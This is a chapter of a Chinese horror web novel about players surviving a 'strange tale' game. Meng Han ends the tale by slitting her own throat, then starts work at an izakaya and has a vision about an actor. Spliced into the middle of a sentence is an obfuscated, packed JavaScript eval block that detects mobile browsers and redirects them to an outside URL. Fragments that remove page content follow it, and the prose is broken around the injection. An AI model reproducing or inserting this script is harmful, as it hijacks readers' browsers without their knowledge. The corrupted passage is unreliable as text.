本次生路的提示是月下潮生,潮殁人心。重游赏景,如梦如幻。若欲远行,必断所系。前两句说的是海水涨潮,以及村民人心叵测。中间两句则在说很多事情都是幻觉,比如杀死张睿的鬼影,用户需要判断什么是幻觉。“若欲远行,必断所系。”则证明想要离开箱岩村,必须切断和林宝珠的链接,也就是杀死林宝珠。 自己已经全部破解了。 虽然对于5名玩家,存活3人的战绩不太满意,但就这样吧。 慢慢来。 七尾站在海水中,和林宝珠的塑像面对面。海水很冷,根本不像春夏应有的温度,如同某种巨大的黑色生物,冰冷、黏腻地包围着他的腰。 和村长说的一样,海水会一点点上涨,直到淹没整个雕像。 海螺刀在昏暗中隐隐的散着淡黄色的光芒。 雨水顺着林宝珠的雕像缓缓流淌,起初,只像是被雨水泡软后的污泥。可很快,七尾便看见,有某种漆黑、黏腻的东西正顺着雕像的脸颊一点点滑落,像被海水泡发后的黑色软虫,湿漉漉地黏在石像表面。 紧接着,雕像脸部的裂缝里,缓缓渗出一缕暗红色液体,在雨水里晕开时,像被稀释的人血。 要活过来了吗? 自己来的正是时候。 七尾猛地举起海螺刀,喉咙里爆发出一声近乎癫狂的怒吼,狠狠朝林宝珠的心口刺去! 噗嗤。 刀,插进去了。 结束了吗? 咔哒。 一声令人牙酸的脆响骤然从雕塑内部传出。 像某种庞大的骨骼正在裂开。 紧接着,更多“咔哒”“咔哒”的声音接连响起,密密麻麻,仿佛有无数节关节正在石像体内错位扭动。 海螺刀根本不像刺进石头或者血肉,反而像没入了一团冰冷黏稠的液体。刀身开始缓缓地被一种奇异的力量吸入,与此同时,雕塑胸口裂开的缝隙里,猛地涌出大片猩红色液体!鲜血混杂着乌黑女人头发,还有棕绿色海草,一股脑地从伤口里喷涌出来。 哗啦—— 全部浇在七尾身上。 “呃啊——!” 七尾瞳孔猛缩。 好疼,被血液覆盖的地方都好疼!那些血液像硫酸一样疯狂腐蚀着皮肤,被淋到的地方瞬间传来灼烧般的剧痛。 七尾咬牙。 好恶心! 这应该是杀死林宝珠了吧,怎么还没结束? 七尾握住刀柄,正要用力一捅! 豁然,一双冰凉的手扣住了他的手腕。 手? 哪里来的手? 七尾身体一僵,缓缓低头。 下一瞬。 他的呼吸彻底停滞。 自己的腹部,不知何时裂开了一个巨大的血口,皮肉翻卷。一只手伸了出来,厉鬼像一条柔软湿滑的深海怪鱼,缓缓从他腹腔内部钻出。骨骼发出不堪重负的断裂声,鲜血混着内脏碎块哗啦啦掉进海水里,迅速晕开大片暗红。 厉鬼探出了半颗脑袋,惨白浮肿的脸几乎贴上七尾胸口,一双空洞阴冷的眼睛,幽幽望着他。 七尾想尖叫,但喉咙却像被什么东西堵住了一般,只能发出细碎的、挤压出来的声音。 怎么回事? 他有海娘娘的雕像和海螺刀…… 不应该啊…… 不应该啊啊啊啊啊啊! 就在这时。轻飘飘的声音忽然从身后传来。 “海娘娘和海女和林宝珠本来就是一体的啊,应该都差不多同一类,他们怎么会自相残杀呢?” 谁? 孟晗! 她为什么会在这里?! 她一直在看?! 看自己的笑话?! 孟晗微微弯起眼睛。 “谢谢你。我大概知道这个怪谈真正的逻辑了。” 什么? “这可不是生路哦。” 七尾脑子嗡的一声炸开。 不可能。 不可能——!! 剧烈的疼痛让他眼前发黑。 他拼命咬牙,颤抖着想从系统里调出道具。 使用。 快使用! 用啊啊啊啊啊——! 16. 女童 风雨之中,七尾栽入了海水中,不见踪迹。 孟晗意犹未尽看着男人跌落的样子。 “这个怪谈,确实有点意思啊。” 瑶瑶看到了完整的过程,但她不明白,明明刀和海娘娘的雕塑都有了,生路居然走不通!海娘娘不是代表了安全吗,怎么七尾还是死了? “你做了什么?” 孟晗反问:“你没发现这都是同一种材料石材的雕塑吗?” “啊?”瑶瑶没想到还能这么解释。 孟晗:“都是一家人啊。” 瑶瑶皱眉:“我不知道。”这个回答太跳脱了。 孟晗:“林宝珠能从海娘娘身上化形,林永忠当年梦见了海娘娘赐福,这不正好说明……这都是‘自家人’吗?神像根本不是什么保护的手段,只不过因为是自己人,所以不能动手杀人,他们所不会杀死同类的。” 瑶瑶恍然大悟:“所以我们是异乡人,他们才能杀死我们?” 如果按照孟晗这么解释,他们是无论如何也无法杀死林宝珠了,那这场怪谈怎么结束?真的要等林宝珠把他们都杀死? “不是,不是啊。”孟晗在笑。 说话间,一双幽怨的眼睛从海平面下冒出。 黑色发丝如同海藻蔓延至整个海面。 孟晗瞥了她一眼,脑袋一歪:“没事,现在杀不死咱们。只要我不动雕像就行。” 瑶瑶打了个冷颤,后退三步,谁家好人距离厉鬼这么近啊! 姐,你不要吓我啊! 我叫你姐! 孟晗站在海风中,大脑飞速掠过三天以来发生的所有事。既然七尾想找到生路通关,证明生路一定会带来物质奖励。孟晗不想等七天,变数太多,她不喜欢,况且她也不喜欢游泳。她大概知道生路在哪里了。 生路的提示是——月下潮生,潮殁人心,重游赏景,如梦如幻。若欲远行,必断所系。 若欲远行,必断所系。 重点在这一句。 七尾其实忽略了很多重要信息,比如这个怪谈为什么会赋予每个玩家不同的身份,这些作用究竟是什么。看孟晗如此冷静,瑶瑶也强迫自己开始重新梳理线索,很快她也发现七尾的漏洞。上学的时候数学老师经常说,应用题解题的每一个条件都已经在题干中给出了。 她曾经天真的问老师“我怎么判断这个条件是不是在迷惑我呢?”,当时老师一副欲言又止,想笑又没笑出来的模样说,出题人不会这么做的。如果真都是迷惑选项,这半个班都不及格了。不要老自信觉得这个条件不需要,也不要老自信认为自己是正确的,认认真真分析条件,正确答案是唯一的。 若欲远行,必断所系。 村长曾经说过,没有人能够离开林家村,生生世世都在林家村。 所以,他们也根本不是什么外乡人。 孟晗兜里的海娘娘雕像在晃,晃得越来越厉害,有什么东西要控制不住了。 厉鬼,似乎要挣脱牢笼了。 她的力量也越来越强大了。 孟晗摸上了自己脖颈,她的手很好看,手指修长,手背上青色的血管突起。瑶瑶看着孟晗对着自己脖子做出来了一个抹脖子的动作。 “瑶瑶,”孟晗逆着海风开口。 “我知道了。”瑶瑶哆哆嗦嗦,但仍然选择和孟晗站一起。 是福是祸,都躲不过去了。 孟晗笑了笑:“你能脱了衣服给我看看吗?” “什么?” “脱。” 瑶瑶深吸一口气,飞速脱掉长袖外套,露出平坦的小腹和白色的运动内衣。她知道孟晗在确定条件,她也没有难为情,但总有一种很奇怪的感觉,有些兴奋。一直以来,她能在怪谈中活下来全靠自己规避风险,躲在安全地区。这是第一次,直面怪谈的核心。 孟晗打量着瑶瑶,问道:“这个胎记,你本来就有?” 瑶瑶这才发现,腹部上面一点后一个浅褐色的印记。 不对,她洗澡的时候天天看自己身体……没有印记…… 这是…… “生路,找到了。”孟晗不好意思看看厉鬼,“有怨报怨,有仇报仇。” 七尾把整个生路提示都分析错了——提示暗示玩家需要放弃某种牵绊,才可能离开这个困境,所以必须断掉联系。所以,玩家是属于这个村庄的。即使是生死轮回转世在外的村民,也会因为各种原因回到这里——车票迷路、旅游、摄影、观光…… 终究会回到这里,偿还自己。 有人说,人上辈子是怎么死的,死亡的伤口就会成为胎记。 所有玩家拿到的人设,都是那五户人家的轮回转世。 而他们,注定要被杀死的。 海螺刀,除恶。 恶,就是他们。 孟晗望着瑶瑶:“相信我?” “嗯!” “那就看好了。” 孟晗拿起海螺刀,架在自己脖颈上。 在昏暗无光的海水中,美的像一具勾魂摄魄的人鱼。 刀顺着脖子一抹。 鲜血飞溅。 宛若梅花。 【恭喜】 【怪谈海女咒歌】 【已净化】 …… 孟晗好似轻飘飘听见了一声“谢谢”,然后浑身一震。 ——砰! 后背似乎撞到了某个硬物。 “诶哟,小姑娘没事吧?” 一辆电瓶车停在原地,送外卖的大婶打量着年轻狼狈的女孩:“是不是低血糖啊,我这里有巧克力,喏,给你吃一块。” 孟晗在脑子嗡嗡隆隆的时候,就被大姐把巧克力塞到嘴里了。甜腻的榛果味在口腔中化开,模糊的视线逐渐变得清晰。 回来了。 这是地下通道。 外面还在下雨,刚才的一切都没有变化。 “谢、谢谢。” “你们年轻人啊,不要不注意自己的身体知道吗?跟我姑娘一样大,看你这么忙我都不忍心了,你爸妈该多担心你啊。赶紧回家吧,工作哪里有身体重要。”大婶给她了两块糖,又留下了一瓶冰红茶,拧着电驴向出口驶出了。 孟晗看表。 现在五点整,过去了不到一个小时。 还是原来的地下通道。 她已经回到了现实世界。 怪谈。 刚才的一切仿佛一场梦。 七尾说得对,新人关卡没什么难的。 但他错就错在以为杀死林宝珠才能结束一切,但他最终目标找错了,所以分析得越来越偏离轨道。 杀人的厉鬼和林宝珠,其实并不是同一人。 故事应该是这样的——林宝珠并没有身患疾病,而是被林永忠做成了【海女】,【海女】可以让林永忠飞黄腾达。 但是,林宝珠□□无法支撑罪孽,所以林永忠和林宝珠被反噬了。为了保住林宝珠的命,林永忠想到了生桩之法——杀死五个童女。林永忠说服五户人家说以后可以升官发财,一起和他杀人的,就是号称失去孩子的五个人家,他们贡献出自己的女儿。 答案就在那些照片里,林永忠和他们关系很好,而他们死得最惨,更何况那些人家都有儿子。 也许是林宝珠的血浸透了活人桩,童女能力增强,成为厉鬼。 也许是童女本身就怨念深重。 她们诞下了诅咒,所有害死自己的人都不得好死。所以,箱岩村的人生生世世都会回到这里。即使有些人出生在了其他地方,也会因为不同原因回到箱岩村。 所以,死的都是年轻人和小孩。 所以,厉鬼的伤口不是上吊的痕迹,而是在小腹、脖颈。 海螺刀是除恶,而“玩家”就是这个恶。 为了利益,出卖孩子。 如果把怪谈比作游戏,整个怪谈的boss根本不是林宝珠,而是这些童女们。他们每隔一段时间,就会杀死村民,杀死转生者。之所以孟晗最开始将女鬼认成了林宝珠,可能是因为他们在被折磨之后,回归大海,模样也越发一样了。林宝珠其实是想结束这一切的,每当海娘娘的雕塑变成她,其实是在提醒村民,又到时候了。如果不用海螺刀“除恶”,女童还是会一直杀下去。 月下潮生,潮殁人心,重游赏景,如梦如幻。若欲远行,必断所系。 除恶,才能终结。 好故事啊。 ——叮叮叮。 电话响了。 来电人:【胡拜月】 她来催孟晗干活了。 *** 居酒屋很有日式风格,地方不大,在一处商业街的胡同里,窄小的门帘挂了个鲤鱼图案的帘子,里面是装修精致的小院,院落有池水、木头椅子、动漫龙猫的大手办。居酒屋是四合院改建的,外面墙壁围上了一层木头装饰,在灯火辉煌的城市间仿佛真的像隐世桃花源般好看。 胡拜月在门口招手,见到孟晗来了欣慰一笑:“我还以为你路上遇到了什么,雨天路滑,现在送外卖的车都跑得太快,一不留神就容易蹭到。给你打了一个电话你没接,瞧把我弄得着急的。” 孟晗不好意思笑笑:“导航有点问题。” 胡拜月捂着嘴笑:“其实你也不需要着急,这第一天上班都怪我没讲清楚。来吧,给你准备了一套新衣服,我跟你说一下注意事项,点单不难的,都是二维码扫点菜,你只需要负责上菜和打扫桌子就行。居酒屋也没什么烟熏火燎,就是晚上人多,不过咱们的客人大多数都很有素质的。” 她站在已经亮起来的黄色灯光下,笑得花枝招展 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590772|205314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 孟晗不得不承认,胡拜月是一个很好看的大美女,明艳敞亮,自己几乎可以预料到追她的男人都能排到法国去。 胡拜月确实是个细心的人,给孟晗安排的稳稳当当,居酒屋就两个服务员,两个后厨,一个调酒师,还有一个负责收银的,以及一个专门负责打扫卫生的打扫。很奇怪,都是女员工,而且都是长得很漂亮的女员工。她们看孟晗的时候总是笑眯眯的,把人看得脸红心跳。 六点到八点虽然人多,但翻台率不高,也不算太累。 毕竟这家店的价格也不便宜,作为一个居酒屋,在人均三百左右。 算是很贵了。 客人们都说这里的鸡肉串烤得一绝,就算纯粹回家复刻,都不可能做出如此美味。 孟晗在餐桌之间来回穿梭,这种纯纯的体力活,比在怪谈中强迫动脑要舒服很多。 感觉自己还是活生生的一个人。 “欸小晗,听说是老板把你撞了?你没索赔两三百万?我们老板可有钱了呢!”烤串的后厨大姐探头问,“你要是有几百万,就别打工了。” “就是就是,我还没见过老板大出血呢。”服务员小姐姐附和。 孟晗蹙眉,这胡拜月知道姑娘们在背后这么编排她吗? “小晗,我看你这个样子还是大学生吧?勤工俭学应该去写字楼啊。” 孟晗问:“看你也很年轻啊?” 小姐姐被逗乐了:“我都三十岁了,而且这里福利待遇特别好!有鸡吃,特别好吃,而且有酒喝,我们员工可以喝的酒都是老板私藏的,品质绝对是你在外面都吃不到的,一会儿我给你偷几杯!” 孟晗:“上班能喝酒?” “为什么不能?”小姐姐反问,“快乐才能上班啊,要不然上班做什么呢?找个山洞一躺不是更好吗?” 另一名收银员突然凑过来:“你们聊什么呢?也不怕老板骂人。” 小姐姐不甘示弱:“我看你在前台转悠好久了,干什么呢?有什么客人能让你流连忘返啊?” 收银员白了一眼:“我呸!” “赶紧说!” “是夏樟!”收银员激动,“最近爆火的那个,怎么也算得上是顶流了吧,前年演了双男主的剧直接飞升了,去年最佳新人奖。今年资源好到爆,他是真的命好,出道也就三四年,都赶得上别人十年的路了。咱们老板这个店就是牛逼,天天碰到明星!” “我瞅瞅我瞅瞅!” 一堆人都挤过去看。 孟晗顺着大家的目光看过去。 只见卡座内有三个人,其中一个确实长得帅气,虽然模模糊糊的光线看不清楚,但轮廓流畅,鼻梁挺拔,笑起来的弧度也刚刚好,应该是小姑娘喜欢的模样。 夏樟吗? 孟晗打量着客人。 突然。 嘶。 大脑如同被一根钢锥穿过,疼痛顺着神经网络无休止蔓延,四肢登时发麻。 好疼! 孟晗一晃,大脑中出现了一片血红色。她闻到了一股很奇特的香气,比胡拜月身上的味道还要浓重,很像泰国香料店里的味道,香味直冲天灵盖,然后在脑中扩散开,每个毛孔都被入侵了。 “怎么了!”收银员一下扶住了孟晗。 “是不是头疼?” 其他人都围起来关心。 他们吓了一跳,刚才好好的孟晗怎么突然变得神色痛苦,眉头紧蹙,不会是老板没把人治好就让人打工来了吧? 孟晗后背大汗淋漓,手指不能抑制的开始颤抖。 浑身燥热,似乎被架在火上炙烤。 “我看看,是不是低血糖了?” “先休息吧,好不好?” “快叫老板去!” “你好烫!” “孟晗,你身上什么味道啊,怎么这么香?”店里不让喷香水,而且孟晗身上刚才还没味道,怎么突然间就像打碎了香水瓶。 孟晗根本听不见乱糟糟的关切,心脏砰砰砰乱跳。她目光直勾勾凝视着夏樟,这个名字很熟悉,自己一定在哪里听过。她是一个不会关心娱乐圈的人,也不追剧,难道夏樟和失忆前的自己有关联? 倏然。 孟晗大脑出现一幅画面。 ——夏樟面容姣好的脸变成了一张灰白的面孔,身穿一件猩红色的裙子,笑容阴惨。他抬手,似乎在抚摸谁的脸,然后轻飘飘说出一句:“找到你了。” 豁然,孟晗眼前一黑。 要不是胡拜月及时赶到,她差点摔过去。 胡拜月焦急:“怎么回事,是不是中午没吃饭?” 孟晗揉揉太阳穴,脑子里突然冒出一个词:死人。 夏樟,早就该死了。 ——轰隆。 外面的雨更大了。